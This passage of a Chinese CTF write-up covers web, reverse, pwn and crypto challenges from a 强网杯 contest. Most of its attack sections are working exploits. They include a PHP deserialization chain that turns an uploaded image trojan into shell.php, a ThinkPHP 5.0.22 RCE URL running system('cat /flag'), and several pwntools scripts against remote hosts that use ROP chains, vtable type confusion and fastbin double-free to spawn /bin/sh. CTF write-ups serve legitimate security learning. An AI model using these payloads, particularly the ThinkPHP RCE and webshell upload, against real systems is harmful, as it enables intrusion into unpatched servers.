$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
可以调用`Profile`类中的任意无参数方法。其中`upload_img`方法，可以实现更改文件名及其后缀。需要将`ext`置为 **true**
，`checker`置为 **false** 即可触发。
EXP:
<?php
namespace app\web\controller;
class Register
{
public $checker;
public $registed;
}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public $index;
}
class Index
{
public $profile;
public $profile_db;
}
$obj = new Register();
$obj->checker = new Profile();
$obj->registed = false;
//刚才上传的图马
//http://117.78.28.89:31424/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png
$obj->checker->index = "upload_img";
$obj->checker->ext= true;
$obj->checker->upload_menu="da5703ef349c8b4ca65880a05514ff89";
//路径
$obj->checker->filename_tmp="../public/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png";
$obj->checker->filename="../public/upload/da5703ef349c8b4ca65880a05514ff89/shell.php";
$payload = base64_encode(serialize($obj));
echo $payload."\n";
//TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo4OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjU5OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L3NoZWxsLnBocCI7czo4OiJmaWxlbmFtZSI7czo2MToiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9qaW5nemhlLnBocCI7czoxMToidXBsb2FkX21lbnUiO3M6MzI6ImRhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5IjtzOjM6ImV4dCI7YjoxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjtOO3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO31zOjg6InJlZ2lzdGVkIjtiOjA7fQ==
Antsword连一下，`cat /flag`.
Flag:
flag{ce5cb05ff4af0881a044f1d79f59ad2e}
### 强网先锋-上单
thinkphp5.0.22 RCE
<https://paper.seebug.org/770/>
payload:
http://117.78.28.89:32422/1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
Flag:
flag{9cdb595d4de827acde9b45bb120615d6}
## Reverse
### 强网先锋-AD
动态调试查看待比较的字符串，发现是一个base64，直接解码得到flag
### JustRe4
输入的前10字节为1324225814
输入后覆盖阶段二函数的开始0x60字节为地址0x404148处的60字节
第二阶段应该是个3DES
第二阶段明文0dcc509a6f75849b
flag{13242258140dcc509a6f75849b}
import claripy
import struct
from Crypto.Cipher import DES3
dst = [2213317461, 3967938788, 632, 1078985889, 2311336704, 41165956, 269418496, 1078044677, 1103142912, 257294400, 740574225, 2114974551,
1078048773, 3591333376, 255861828, 1779056912, 608471104, 612666700, 508, 256901226, 472138769, 1005800, 2369808896, 38282372]
ms = [0, 1, 2, 3, 4, 4, 4, 4, 8, 8, 8, 8, 12, 12, 12, 12]
ns = [2092209401, 3952197289, 4279241742, 1063260902, 2261515592, 4248564421, 4011265610, 1062303302, 1053847116, 140381709, 720130655, 1494727968, 1062307405, 2971086929, 139457038, 1696223075, 592221716, 596417297, 4279242626, 140512749, 4209791593, 4279723633, 2320512090, 4250399447]
# last_byte = 0x5e
# num = 0x1A2B3C4D
last_byte = claripy.BVS('last', 8)
last_byte = last_byte.zero_extend(24)
num = claripy.BVS('num', 32)
solver = claripy.Solver()
tmp = last_byte * 0x1010101
mask = (1 << 128) - 1
for i in range(24):
if i < 16:
if i < 4:
ns[i] = (ms[i] + num) ^ (tmp + ns[i])
else:
ns[i] = (ms[i] + ms[i % 4] + num) ^ (tmp + ns[i])
else:
ns[i] = ((i + num) ^ (tmp + ns[i]))
solver.add(ns[i] == dst[i])
part1 = solver.batch_eval([num, last_byte], 1)[0][0]
part1 = hex(part1)[2:]
dstl = 0xFACE0987E6A97C50
dsth = 0x6C97BB90CF0DD520
dst = struct.pack("<Q", dstl) + struct.pack("<Q", dsth)
ct = struct.pack("<I", 0xE6A97C50) + \
struct.pack("<I", 0xFACE0987) + \
struct.pack("<I", 0xCF0DD520) + \
struct.pack("<I", 0x6C97BB90) + \
struct.pack("<I", 0xB0F69090) + \
struct.pack("<I", 0xE8A4A67B)
key = struct.pack("<Q", 0x4445434641534641) + \
struct.pack("<Q", 0x4E43415843584359) + \
struct.pack("<Q", 0x43585143444B4644)
cipher = DES3.DES3Cipher(key)
pt = cipher.decrypt(ct)
pt = pt[:-pt[-1]]
part2 = pt.decode('ascii')
flag = 'flag{' + part1 + part2 + '}'
print(flag)
### webassembly
:::success
:::
XTEA算法
import struct
def xtea_decrypt(block, key):
XTEA_DELTA = 0x9E3779B9
XTEA_N = 32
(pack, unpack) = (struct.pack, struct.unpack)
(y, z) = unpack("<2L", block)
k = unpack("<4L", key)
(sum, delta, n) = 0, XTEA_DELTA, XTEA_N
sum = (delta * n) & 0xFFFFFFFF
for i in range(n):
z = (z - (((y << 4 ^ y >> 5) + y) ^
(sum + k[sum >> 11 & 3]))) & 0xFFFFFFFF
sum = (sum - delta) & 0xFFFFFFFF
y = (y - (((z << 4 ^ z >> 5) + z) ^ (sum + k[sum & 3]))) & 0xFFFFFFFF
return pack("<2L", y, z)
ct = [
0xb4, 0x34, 0x22, 0x73, 0x52, 0x39, 0x9d, 0xf8, 0x3f, 0xff,
0x01, 0xa9, 0x26, 0xf9, 0xc3, 0x26, 0x89, 0x55, 0xd2, 0xc6,
0x5e, 0xfe, 0x9b, 0xbe, 0x33, 0xcb, 0xe5, 0xd6, 0xfa, 0xcf,
0xa2, 0x3d, 0x63, 0x39, 0x33, 0x61, 0x36, 0x7d
]
ct = bytes(ct)
key = b'\x00' * 16
flag = xtea_decrypt(ct[:8], key)
flag += xtea_decrypt(ct[8:16], key)
flag += xtea_decrypt(ct[16:24], key)
flag += xtea_decrypt(ct[24:32], key)
flag += ct[32:]
print(flag)
### 设备固件
反汇编
opcodes = {
1: "add", #
2: "sub",
3: "cmp",
4: "jmpi",
5: "movr", #
6: 'alw', #
7: "jmpr", #
8: "movi", #
9: "fail", #
0xa: "movm",
0xb: "push", #
0xd: "mul", #
0xe: "div", #
0xf: "lsh", #
0x10: "rsh", #
0xff: "end"
}
code = [8, 0, 0, 0, 32, 0, 8, 0, 1, 0, 0, 0, 8, 0, 2, 0, 1, 0, 3, 0, 1, 0, 0, 0, 4, 1, 22, 0, 0, 0, 8, 0, 11, 0, 0, 0, 8, 0, 12, 0, 0, 0, 1, 0, 12, 0, 11, 0, 3, 0, 11, 0, 1, 0, 1, 0, 11, 0, 2, 0, 4, 2, 252, 255, 0, 0, 8, 0, 3, 0, 8, 0, 8, 0, 4, 0, 6, 0, 8, 0, 9, 0, 16, 0, 15, 0, 9, 0, 3, 0, 8, 0, 10, 0, 36, 0, 1, 0, 9, 0, 10, 0, 1, 0, 9, 0, 12, 0, 10, 0, 5, 0, 1, 0, 13, 0, 5, 0, 9, 0, 5, 0, 6, 0, 5, 0, 16, 0, 6, 0, 4, 0, 11, 0, 7, 0, 1, 0, 3, 0, 6, 0, 7, 0, 1, 0, 1, 0, 2, 0, 4, 1, 233, 255, 0, 0, 4, 2, 1, 0, 0, 0, 255, 0, 0, 0, 0, 0, 9, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0]
s = set()
for i in range(0, len(code), 6):
opcode = code[i+0]
check_status = code[i+1]
op1 = code[i+2] | (code[i+3] << 8)
if code[i+3] != 0:
op1 = -((op1 - 1) ^ 0xffff)
op2 = code[i+4] | (code[i+5] << 8)
print("{:02x}: {:5s}({}) {:x},{:x}".format(i//6, opcodes[opcode], check_status, op1, op2))
获得flag
username = bytes([0x64, 0x36, 0x65, 0x66, 0x35])
dst = [3163, 3293, 3359, 6336, 6342, 3110, 3698, 3575, 6577, 3393, 3336, 6428, 3289, 3761, 3310, 6776, 3467, 3481, 3428, 3309, 6648, 3681, 6783, 6887, 3878, 6964, 6864, 3452, 4041, 3710, 7182, 7086]
password = []
for i in range(0x20):
magic = 0x1024 + sum(range(i + 1))
for c in range(0x100):
if (c * magic) >> 6 == dst[i]:
password.append(c)
break
password = bytes(password)
print("Username: {}".format(username.decode('ascii')))
print("Password: {}".format(password.decode('ascii')))
## Pwn
### babymimic
给了两个x86和x64的程序，又看到了拟态防御，猜会把输入喂给两个程序，测试了一下发现输出不同时会被检测出来，先尝试在没有多余输出的情况下直接反弹其中一个程序的shell，发现也能被检测出。最后看到两个程序栈溢出长度不同，明白了要用一个payload同时打两个程序
from pwn import *
import hashlib
def proof_of_work():
p.recvuntil(".hexdigest()=")
h = p.recv(64)
print h
p.recvuntil(".encode('hex')=")
s = p.recv(10).decode("hex")
p.recvuntil("skr.encode('hex')=")
print s
for c1 in range(0xff,-1,-1):
for c2 in range(0xff,-1,-1):
for c3 in range(0xff,-1,-1):
if hashlib.sha256(s+chr(c1)+chr(c2)+chr(c3)).hexdigest() == h:
return s+chr(c1)+chr(c2)+chr(c3)
'''
0x0809ccf4: mov dword ptr [eax], edx; ret;
'''
int80 = 0x0806f300
pop_eax = 0x080a8af6
pop_ebx = 0x080481c9
pop_ecx_pop_ebx = 0x0806e9f2
pop_edx = 0x0806e9cb
add_esp = 0x0806b225 #add esp, 0x100; sub eax, edx; ret;
pop_rax = 0x000000000043b97c
pop_rdx = 0x000000000043d9d5
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
syscall = 0x0000000000461645
#0x0000000000477521: mov qword ptr [rax], rdx; ret;
payload = "a"*0x10 + "\x00"*0x100 + p32(add_esp) + p32(0)
x86_payload = ""
x64_payload = ""
#reverse_shell = ["/bin/cat","./flag_2d5088d4cac1e7d5f935659807a44db8"]
reverse_shell = ["/bin/sh"]
x86_addrs = [0x080DAE00, 0x080DAE00+0x10]
x86_addr = 0x080DAE00+0x60
x64_addrs = [0x6A3500, 0x6A3500+0x10]
x64_addr = 0x6A3500+0x60
for j in range(0,len(reverse_shell)):
for i in range(0,len(reverse_shell[j])/4+1):
x86_payload += p32(pop_eax) + p32(x86_addrs[j]+i*4) + p32(pop_edx) + reverse_shell[j][i*4:i*4+4].ljust(4,"\x00") + p32(0x0809ccf4)
x86_payload += p32(pop_eax) + p32(11) + p32(pop_ecx_pop_ebx) + p32(0) + p32(x86_addrs[0]) + p32(pop_edx) + p32(0) + p32(int80) + p32(0x08048930)
for j in range(0, len(reverse_shell)):
for i in range(0, len(reverse_shell[j])/4+1):
x64_payload += p64(pop_rax) + p64(x64_addrs[j]+i*8) + p64(pop_rdx) + reverse_shell[j][i*8:i*8+8].ljust(8,"\x00") + p64(0x0000000000477521)
x64_payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(x64_addrs[0]) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
print len(x64_payload),len(x86_payload)
x64_payload = x64_payload.ljust(0xfc,"\x90")
payload += x64_payload + p32(0x0804892F) + x86_payload
flag_file = "flag_2d5088d4cac1e7d5f935659807a44db8"
p = remote("49.4.51.149",25391)
#p = process("./_stkof")
skr = proof_of_work()
print skr.encode("hex")
p.sendline(skr.encode("hex"))
print p.recvuntil("teamtoken:")
p.sendline("08c5028f14a51d3336c3e4f80414706d")
p.send(payload)
p.interactive()
045b500501510d5703550357525d5102060106565650525c5305010101550750
flag{4c301c512abbc9b157ee3d4dc1056e14}
### babycpp
update_hash
的abs有问题，输入0x80000000后为-8，可以覆盖vtable指针，把string的vtable改成int的vtable，通过来回改string
array的vtable以类似类型混淆的方式实现任意地址读写,最后rop执行execve("/bin/sh",NULL,NULL)拿shell。刚好两个vtable的第三个16进制不相同，想覆盖需要猜第4个16进制。
from pwn import *
def new_array(kind):
p.recvuntil("Your choice:")
p.sendline("0")
p.recvuntil("What kind of array do you want:\n1.Int Array\n2.String Array\nYour choice:")
p.sendline(str(kind))
def update(h, idx, new_hash):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input hash:")
p.send(new_hash)
def set_string_element(h, idx, length, content):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input the len of the obj:")
p.sendline(str(length))
p.recvuntil("Input your content:")
p.send(content)
def set_int_element(h, idx, num):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input val:")
p.sendline(num)
def show_int(h, idx):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("The value in the array is ")
addr = p.recvuntil("\n")
print addr[0:len(addr)-1]
return int(addr,16)
def show_str(h, idx):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Content:")
addr = p.recv(6).ljust(8,"\x00")
return u64(addr)
def update_str_element(h, idx, content):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input your content:")
p.send(content)
#aslr off
offset = 0x555555768ff0 - 0x555555768e70
offset2 = 0x555555768ff0 - 0x555555768ea0
main_stack = 0x7FFFFFFFDE78
environ_stack = 0x7fffffffdf68
offset3 = environ_stack - main_stack
while True:
try:
#p = process("./babycpp")
p = remote("49.4.15.125", 32207)
new_array(1)
new_array(2)
set_string_element("\x01", 0, 0x20, "1"*0x20)
update("\x01", 2147483648, "\xe0\x5c")
heap_addr = show_int("\x01", 0)
print hex(heap_addr)
set_int_element("\x01", 1, hex(heap_addr - offset))
update("\x01", 2147483648, "\x00\x5d")
func_addr = show_str("\x01", 1)
elf_base = func_addr - 0x10C6
print hex(func_addr)
print "elf_base: " + hex(elf_base)
malloc_got = elf_base + 0x201FB8
print "malloc_got: " + hex(malloc_got)
update("\x01", 2147483648, "\xe0\x5c")
set_int_element("\x00", 0, hex(malloc_got))
set_int_element("\x01", 2, hex(heap_addr - offset2))
update("\x01", 2147483648, "\x00\x5d")
libc_malloc = show_str("\x01", 2)
libc_base = libc_malloc - 0x097070
print "libc_base: " + hex(libc_base)
sh = libc_base + 0x1B3E9A
system = libc_base + 0x4F440
environ = libc_base + 0x3EE098
pop_rdi = libc_base + 0x00002155f
pop_rsi = libc_base + 0x0000023e6a
pop_rdx = libc_base + 0x0000000000001b96
execve = libc_base + 0xE4E30
print "/bin/sh: " + hex(sh)
print "system: " + hex(system)
print "execve: " + hex(execve)
print "environ: " + hex(environ)
update("\x01", 2147483648, "\xe0\x5c")
set_int_element("\x00", 0, hex(environ))
set_int_element("\x01", 2, hex(heap_addr - offset2))
update("\x01", 2147483648, "\x00\x5d")
stack = show_str("\x01", 2)
print "stack: " + hex(stack)
set_int_element("\x00", 0, hex(stack - offset3))
set_int_element("\x00", 1, hex(0x100))
update_str_element("\x01", 2, p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve))
break
except:
p.close()
#gdb.attach(p)
#raw_input()
p.interactive()
Your choice:$ 4
Bye!
$ ls
babycpp
bin
dev
flag
lib
lib32
lib64
$ cat flag
flag{9a3a902d2b3e980e0d7b41d756faec03}
$
[*] Interrupted
[*] Closed connection to 49.4.15.125 port 32207
### Random
1.利用add_note里在tomorrow增加add_note的功能在game list上留下一个没被删除的节点，但节点本身被释放进了fastbin
2.把这个fastbin在第二天分配给其他节点，这样game list上有两个相同节点，执行完之后出现double
free，第一次free时保证fastbin为空，否则game list的遍历会出问题。
3.之后把double free的fastbin分配给add_note函数，创建一个note，劫持fastbin的fd，设置为可控位置note
array，note array上事先要有一个大小为0x21的note
4.把可控位置的fastbin分配给add_note函数，创建note，这样就可以修改note array上的指针了，利用update、view任意地址读写
5.操作是rand的，但可以预测，需要凑出一个合适的操作序列
from pwn import *
import ctypes
libc = ctypes.CDLL("./libc-2.23.so")
libc.srand(None)
actions = []
for i in range(0x30):
x = libc.rand()
if x%4 == 0:
actions.append("add")
print i
elif x%4 == 1:
actions.append("update")
elif x%4 == 2:
actions.append("delete")
else:
actions.append("view")
print actions
def choice_pass():
x = p.recvuntil("(Y/N)\n")
p.sendline("N")
def add_note(size, content, x):
p.recvuntil("Do you want to add note?(Y/N)\n")
p.sendline("Y")
p.recvuntil("Input the size of the note:\n")
p.sendline(str(size))
p.recvuntil("Input the content of the note:\n")
p.send(content)
p.recvuntil("Do you want to add another note, tomorrow?(Y/N)\n")
p.sendline(x)
def view(idx):
p.recvuntil("Do you want to view note?(Y/N)\n")
p.sendline("Y")
p.recvuntil("Input the index of the note:\n")
p.sendline(str(idx))
return u64(p.recv(6).ljust(8,"\x00"))
def update(idx, content):
p.recvuntil("Do you want to update note?(Y/N)\n")
p.sendline("Y")
p.recvuntil("Input the index of the note:")
p.sendline(str(idx))
p.recvuntil("Input the new content of the note:\n")
p.send(content)
elf = ELF("./libc-2.23.so")
#p = process("./random")
p = remote("49.4.15.125",31697)
p.recvuntil("Please input your name:\n")
p.send("1"*8)
p.recvuntil("1"*8)
addr = u64(p.recv(6).ljust(8,"\x00"))
elf_base = addr - 0xb90
print hex(elf_base)
print hex(elf_base + 0x203168)
print hex(elf_base + 0x11ac)
print hex(elf_base + 0x203190)
p.sendline("10")
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#1
p.sendline("8")
add_note(0x21, "A1Lin\n", "Y")
for i in range(7):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#2
p.sendline("7") #double free
for i in range(9):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#3
p.sendline("2") #hijck fastbin
add_note(17, p64(elf_base+0x203180) + "\n", "N")
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#4
p.sendline("6")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
for i in range(2):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#5
p.sendline("5")
for i in range(5):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#6
p.sendline("10")
add_note(17, p64(elf_base + 0x2031a0) + p64(0x20)[0:6] + "\n", "N")
update(1, p64(elf_base + 0x0203018) + "\n")
addr = view(2)
print "free: " + hex(addr)
elf.address = addr - elf.symbols["free"]
print "libc: " + hex(elf.address)
print hex(elf_base + 0x203018)
update(1, p64(elf_base + 0x203018) + p64(0x20)[0:6] + "\n")#free_got
choice_pass()
choice_pass()
choice_pass()
update(2, p64(elf.address + 0xf1147) + "\n")
#print p.recv()
#gdb.attach(p)
p.interactive()
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
### 强网先锋-AP
堆溢出直接泄露puts地址，然后堆溢出覆盖puts为system拿shell
from pwn import *
def get(length, name):
p.recvuntil("Choice >> \n")
p.sendline("1")
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
def open(idx):
p.recvuntil("Choice >> \n")
p.sendline("2")
p.recvuntil("Please tell me which tickets would you want to open?\n")
p.sendline(str(idx))
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
def change(idx, length, name):
p.recvuntil("Choice >> \n")
p.sendline("3")
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
p.sendline(str(idx))
p.recvuntil("The length of my owner's name:")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
#p = process("./task_main")
libc = ELF("./libc-2.23.so")
p = remote("117.78.39.172",32146)
get(0x10,"A1Lin1")
get(0x10,"A1Lin2")
change(0,0x21, "a"*0x20)
open(0)
p.recvuntil("a"*0x20)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap_addr)
change(0,0x29, "a"*0x28)
open(0)
p.recvuntil("a"*0x28)
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = puts_addr - libc.symbols["puts"]
change(0,0x29+8, "a"*0x10 + p64(0) + p64(0x21) + p64(heap_addr) + p64(libc.symbols["system"]))
change(1,9,"/bin/sh\x00")
open(1)
print hex(libc.address)
#gdb.attach(p)
p.interactive()
## Crypto
### randomstudy
* step1 暴力猜测系统时间种子
* step2 java 伪随机数预测
* step3 题目漏洞，直接利用step1中的种子预测随机数。
脚本如下：
import random
import time
from pwn import *
import gmpy2
from Crypto.Util.number import long_to_bytes
context.log_level = "debug"
import hashlib
def proof(prefix,hexdig):
for a in range(0,256):
for b in range(0,256):
for c in range(0,256):
skr = prefix + chr(a) +chr(b) + chr(c)
if hashlib.sha256(skr).hexdigest()==hexdig:
return skr.encode("hex")
ip = '119.3.245.36'
port = 23456
token = "08c5028f14a51d3336c3e4f80414706d"
io = remote(ip,port)
io.recvline()
hexdig = io.recvline().split("=")[1].strip()
prefix = io.recvline().split("=")[1].strip().decode("hex")
io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
io.sendlineafter("[+]teamtoken:",token)
io.recvuntil("[-]")
seed_tem = int(time.time())
print seed_tem
random.seed(seed_tem)
io.sendline(str(random.randint(0,2**64)))
second = 1
while "fail" in io.recvline():
temp = seed_tem+second
random.seed(temp)
for i in range(second):
random.randint(0,2**64)
io.sendlineafter("[-]",str(random.randint(0,2**64)))
second = second+1
io.recvuntil("[+]Generating challenge 2\n")
v1 = int(io.recvline().split("[-]")[1].strip())
v2 = int(io.recvline().split("[-]")[1].strip())
def replicateState(nextN,nextM):
temN = nextN
temM = nextM
seed = []
multiplier = 0x5DEECE66D
addend = 0xB
mask = (1L << 48) - 1
upperMOf48Mask = ((1L << 32) - 1) << (48 - 32)
oldSeedUpperN = (nextN << (48 - 32)) & mask
newSeedUpperM = (nextM << (48 - 32)) & mask
oldSeed = oldSeedUpperN
for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
newSeed = (i * multiplier + addend) & mask
if ((newSeed & upperMOf48Mask) == newSeedUpperM):
seed.append(newSeed)
if seed:
pre = ((seed[0] * multiplier + addend)& mask)>>16
if len(bin(pre))-2==32 and bin(pre)[2]=='1':
return pre-1
return pre
nextN = -(0xffffffff-nextN)
oldSeedUpperN = (nextN << (48 - 32)) & mask
newSeedUpperM = (nextM << (48 - 32)) & mask
oldSeed = oldSeedUpperN
for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
newSeed = (i * multiplier + addend) & mask
if ((newSeed & upperMOf48Mask) == newSeedUpperM):
seed.append(newSeed)
if seed:
pre = ((seed[0] * multiplier + addend)& mask)>>16
if len(bin(pre))-2==32 and bin(pre)[2]=='1':
return pre-1
return pre
nextN = temN
nextM = -(0xffffffff-nextM)
oldSeedUpperN = (nextN << (48 - 32)) & mask
newSeedUpperM = (nextM << (48 - 32)) & mask
oldSeed = oldSeedUpperN
for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
newSeed = (i * multiplier + addend) & mask
if ((newSeed & upperMOf48Mask) == newSeedUpperM):
seed.append(newSeed)
if seed:
pre = ((seed[0] * multiplier + addend)& mask)>>16
if len(bin(pre))-2==32 and bin(pre)[2]=='1':
return pre-1
return pre
nextN = -(0xffffffff-temN)
nextM = -(0xffffffff-temM)
oldSeedUpperN = (nextN << (48 - 32)) & mask
newSeedUpperM = (nextM << (48 - 32)) & mask
oldSeed = oldSeedUpperN
for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
newSeed = (i * multiplier + addend) & mask
if ((newSeed & upperMOf48Mask) == newSeedUpperM):
seed.append(newSeed)
if seed:
pre = ((seed[0] * multiplier + addend)& mask)>>16
if len(bin(pre))-2==32 and bin(pre)[2]=='1':
return pre-1
return pre
v3 = replicateState(v1,v2)
io.sendlineafter("[-]",str(v3))
io.recvuntil("[+]Generating challenge 3\n")
io.sendlineafter("[-]",str(random.getrandbits(32)))
io.recv()
io.recv()
### copperstudy
* 关于coppersmith rsa相关攻击，攻击代码如下：
from pwn import *
import gmpy2
from Crypto.Util.number import long_to_bytes
context.log_level = "debug"
import hashlib
def proof(prefix,hexdig):
for a in range(0,256):
for b in range(0,256):
for c in range(0,256):
skr = prefix + chr(a) +chr(b) + chr(c)
if hashlib.sha256(skr).hexdigest()==hexdig:
return skr.encode("hex")
ip = '119.3.245.36'
port = 12345
token = "08c5028f14a51d3336c3e4f80414706d"
io = remote(ip,port)
io.recvline()
hexdig = io.recvline().split("=")[1].strip()
prefix = io.recvline().split("=")[1].strip().decode("hex")
io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
io.sendlineafter("[+]teamtoken:",token)
io.recvuntil("[+]Generating challenge 1\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
msg = io.recvline().split("=")[1].strip()
'''sage
n = 0x5531aea5ffe86eccf70882f505f4781896f94d18cb35d1baed228ef217f3814145bd7e2d083b43a3b11956a189bd83028d1cea92c707ef2c89470f6976447df21f2125c8ddf79a4e152a616af4b07a3eb8cb4404040e667559979f26ae4b20a70bc8ffbd6524f4e3f565f422a167feebb00f675b76450a2f158f5ef81ce05cd3L
c = 0x1aead4a71c0c3947638876c35442d3eec3da7a8901479a0bfd130b90357e761301ceef8c5f8216ed6ed15926733741e188739458ab8166ead89069df347dd8dc801ce8b528da9d1182721c2a059b0ce9cceacae561fefef2999b39975925cf4ca293f85e959cbe5750e78735f2da3982c886eb62ff69e7440cf57e76e713cb9aL
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
e = 3
P.<x> = PolynomialRing(Zmod(n))
f = (msg + x)^e - c
f = f.monic()
m = f.small_roots(epsilon=1/20)
print int(m[0])
1903917370682551034555
msg
m = 1903917370682551034555
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
msg =msg|m
print msg
1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
'''
m = 1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 2\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
p = io.recvline().split("=")[1].strip()
'''sage
n = 0x5401d2f0e31048e194f24b88f9fc1b3fe6e0bf64bf83b8c83d5fbe0a42b9f43dedb9dce1ea61e812fbd1ff7364456a9a6f1e08bb51dfc94f97cb4a3f0064f2094d8cb78e30da72beb414ed1517655dde51e954b2b7dfbbba2190b2368915b41fa28972250444b4f79afd3778751e531826bc370aa39749a64f7b4d94e2d76d8dL
pp =0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a4600000000000000000000000000000000L
cipher = 0x1cd46c5a497639fdd69c35caf0fc12f1ccb6181fa76abcbb0a4a3900672d703d6f2637db8c8d7584d48e05cc28dcb3a1799265f0c378880c1ab8d5fc2b37222443d8272b5d7987419daacd9ce871329f7bab0c3938baeb517fc3352ad04eb8b1b82bae803bb8d61caaad28b6d16aff3f64290852e942002a40f4f0c5f0364c80L
e =65537
kbits = 128
PR.<x> = PolynomialRing(Zmod(n))
f = x + pp
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = pp+int(roots[0])
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
phin = (p-1)*(q-1)
d = inverse_mod(e,phin)
flag = pow(cipher,d,n)
print flag
